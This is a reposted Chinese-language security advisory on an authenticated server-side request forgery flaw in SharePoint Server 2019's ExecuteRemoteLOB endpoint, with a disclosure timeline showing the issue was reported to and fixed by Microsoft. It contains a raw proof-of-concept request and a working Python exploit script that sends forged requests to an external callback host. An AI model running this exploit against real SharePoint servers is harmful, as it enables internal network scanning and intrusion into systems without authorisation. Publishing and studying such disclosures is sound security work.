Microsoft SharePoint Server 身份验证后服务器端请求伪造漏洞

admin 2023年10月7日14:24:21评论345 views字数 4808阅读16分1秒阅读模式

 




Microsoft SharePoint Server 身份验证后服务器端请求伪造漏洞

最近,我们在 Microsoft SharePoint Server 2019 中发现了服务器端请求伪造 (SSRF),它允许经过身份验证的远程用户向任意 URL 发送 HTTP(S) 请求并读取响应。端点<site>/_api/web/ExecuteRemoteLOB容易受到服务器端请求伪造 (SSRF) 的攻击。HTTP(S) 请求在请求方法、路径、标头和正文方面是高度可定制的。具有执行 SSRF 攻击能力的攻击者可以扫描内部网络,检查主机本地网络上是否存在服务,并可能利用其他 Web 服务。


我们在以下环境中对此进行了测试:

Windows Server 2022 + SharePoint Server 2019 - 16.0.10386.20011 (with KB5002207, May 2022 update)

受影响的版本

  • Microsoft SharePoint Server 2019 <= 16.0.10386.20011(2022 年 5 月更新)


漏洞描述

在检查该类时Microsoft.SharePoint.ServerStub.SPWebServerStub,我们发现该端点在其名称中<site>/_api/web/ExecuteRemoteLOB存在可疑之处"Remote"。Microsoft.SharePoint.BusinessData.SystemSpecific.OData.ODataHybridHelper.InvokeODataService进一步的调试表明,该端点由 中的 (Stream inputStream)函数处理Microsoft.SharePoint.dll,该函数的作用类似于 HTTP 代理服务。它将接受用户输入来创建一个HttpWebRequest对象,发出请求,然后返回响应正文。函数(Stream inputStream)的主要部分InvokeODataService如下:

// [1]    ODataHybridHeaderProcessor.ValidateODataHeaders(headers);    string text;    string text2;    ODataAuthenticationMode odataAuthenticationMode;    string text3;    string text4;    ODataHybridHeaderProcessor.GetODataServiceInfo(headers, out text, out text2, out odataAuthenticationMode, out text3, out text4);
// [2] HttpWebRequest httpWebRequest = WebRequest.Create(text) as HttpWebRequest; httpWebRequest.UserAgent = "Microsoft.Sharepoint"; httpWebRequest.Method = text2; IDictionary<string, string> odataRequestHeaders = ODataHybridHeaderProcessor.GetODataRequestHeaders(headers); ODataHybridHelper.SetRequestHeaders(httpWebRequest, odataRequestHeaders);
// [3] if (text2 == "POST" || text2 == "PUT") { using (Stream requestStream = httpWebRequest.GetRequestStream()) { inputStream.CopyTo(requestStream); } }
// [4] ODataHybridHelper.SetRequestAuthentication(httpWebRequest, odataAuthenticationMode, text3, text4, spoCorrelationId); httpWebResponse = ODataHybridHelper.ExecuteRequest(httpWebRequest, spoLobId, odataAuthenticationMode, spoCorrelationId);
// [5] ODataHybridHeaderProcessor.SetODataResponseHeaders(httpWebResponse.Headers); stream = httpWebResponse.GetResponseStream(); result = stream;return result;

在 处,[1]函数ValidateODataHeaders首先确保标头"BCSOData-Url"、"BCSOData-AuthenticationMode"、"BCSOData-HttpMethod"和存在于原始请求中。然后函数将这些标头中的值提取到变量中,这些变量用于在 处创建对象。该对象是服务器稍后发送的 SSRF 请求。"BCSOData-SsoApplicationId""BCSOData-SsoProviderImplementation"GetODataServiceInfoHttpWebRequest[2]


然后,调用函数GetODataRequestHeaders和SetRequestHeaders来提取剩余的标头"BCSOData-",并将它们附加到 SSRF 请求标头列表中。


在 处[3],如果标头"BCSOData-HttpMethod"为POST或 ,则原始请求正文将被复制到 SSRF 请求PUT。最后,SSRF 请求在 处发送[4],其响应在 处返回[5]。


概念验证请求

POST /my/_api/web/ExecuteRemoteLOB HTTP/1.1Host: cr-srv01Accept: application/jsonBCSOData-Url: http://gqa847opq6818tt8qf100fnqrhx8lx.oastify.com/test?aa=11&bb=22BCSOData-AuthenticationMode: 1BCSOData-HttpMethod: POSTBCSOData-SsoApplicationId: 0BCSOData-SsoProviderImplementation: Microsoft.Office.SecureStoreService.Server.SecureStoreProvider, Microsoft.Office.SecureStoreService, Version=14.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429cBCSOData-custom-header1: value1BCSOData-custom-header2: value2X-RequestDigest: 0xC356CCFFC1A066D89BD439A721456F80F15384CFF57F82B325282E9A59E0322713F87ACD56CD4C5792AE53A3324697173877A15C20FC92176D0EAB68DC55AB2E,12 May 2022 08:02:33 -0000Content-Type: application/x-www-form-urlencodedContent-Length: 9
post body

Microsoft SharePoint Server 身份验证后服务器端请求伪造漏洞

攻击条件和限制

攻击者必须是经过身份验证的用户并且有权访问有效的 SharePoint 网站。默认站点/my/应该可以工作。


仅当状态码为 时,才会返回 SSRF 请求的响应正文2xx。否则ODataHybridException会被扔掉。


原始请求中的标头X-RequestDigest是 CSRF 令牌。要获得正确的值,只需发送一个带有错误值的请求,服务器就会返回正确的值。


概念验证

以下是我们出于演示目的而创建的 POC 脚本。

#!/usr/bin/env python3import argparseimport requestsfrom requests_ntlm2 import HttpNtlmAuth
def _parse_args(): parser = argparse.ArgumentParser() parser.add_argument('-u', metavar='DOMAIN\USERNAME', required=True) parser.add_argument('-p', metavar='PASSWORD', required=True) parser.add_argument('-s', metavar='SITE_URL', help='The user must have access to this site. Usually http://sharepoint.example.com/my/ works', required=True) return parser.parse_args()
def exploit(username, password, site_url): auth = HttpNtlmAuth(username, password) r = requests.post(f'{site_url}/_api/web/ExecuteRemoteLOB', auth=auth, allow_redirects=False) if r.status_code != 403: raise Exception(f'expect status code 403, got {r.status_code}') headers = { 'BCSOData-Url': 'https://c3g4h31l32lxlp643bewdb0m4da5yu.oastify.com/test', # SSRF url 'BCSOData-AuthenticationMode': '1', 'BCSOData-HttpMethod': 'POST', # request method 'BCSOData-SsoApplicationId': '0', 'BCSOData-SsoProviderImplementation': '0', 'BCSOData-custom-header1': 'value1', # custom headers 'BCSOData-custom-header2': 'value2', 'X-RequestDigest': r.headers['X-RequestDigest'], } post_data = 'post body' # request body if the HttpMethod is POST/PUT r = requests.post(f'{site_url}/_api/web/ExecuteRemoteLOB', auth=auth, allow_redirects=False, headers=headers, data=post_data) print(f'payload sent, got response ({len(r.content)} bytes):') print(r.content)
if __name__ == '__main__': arg = _parse_args() exploit(arg.u, arg.p, arg.s)

如下图所示,将返回恶意请求URL的完整HTTP响应。

Microsoft SharePoint Server 身份验证后服务器端请求伪造漏洞

披露时间表

2022 年 5 月 12 日:向 Microsoft 披露

2022 年 9 月 15 日:Microsoft 回复确认修复

2022 年 10 月 25 日:向公众披露




感谢您抽出

Microsoft SharePoint Server 身份验证后服务器端请求伪造漏洞

.

Microsoft SharePoint Server 身份验证后服务器端请求伪造漏洞

.

Microsoft SharePoint Server 身份验证后服务器端请求伪造漏洞

来阅读本文

Microsoft SharePoint Server 身份验证后服务器端请求伪造漏洞

点它,分享点赞在看都在这里


原文始发于微信公众号(Ots安全):Microsoft SharePoint Server 身份验证后服务器端请求伪造漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月7日14:24:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Microsoft SharePoint Server 身份验证后服务器端请求伪造漏洞https://cn-sec.com/archives/2089852.html

发表评论

匿名网友 填写信息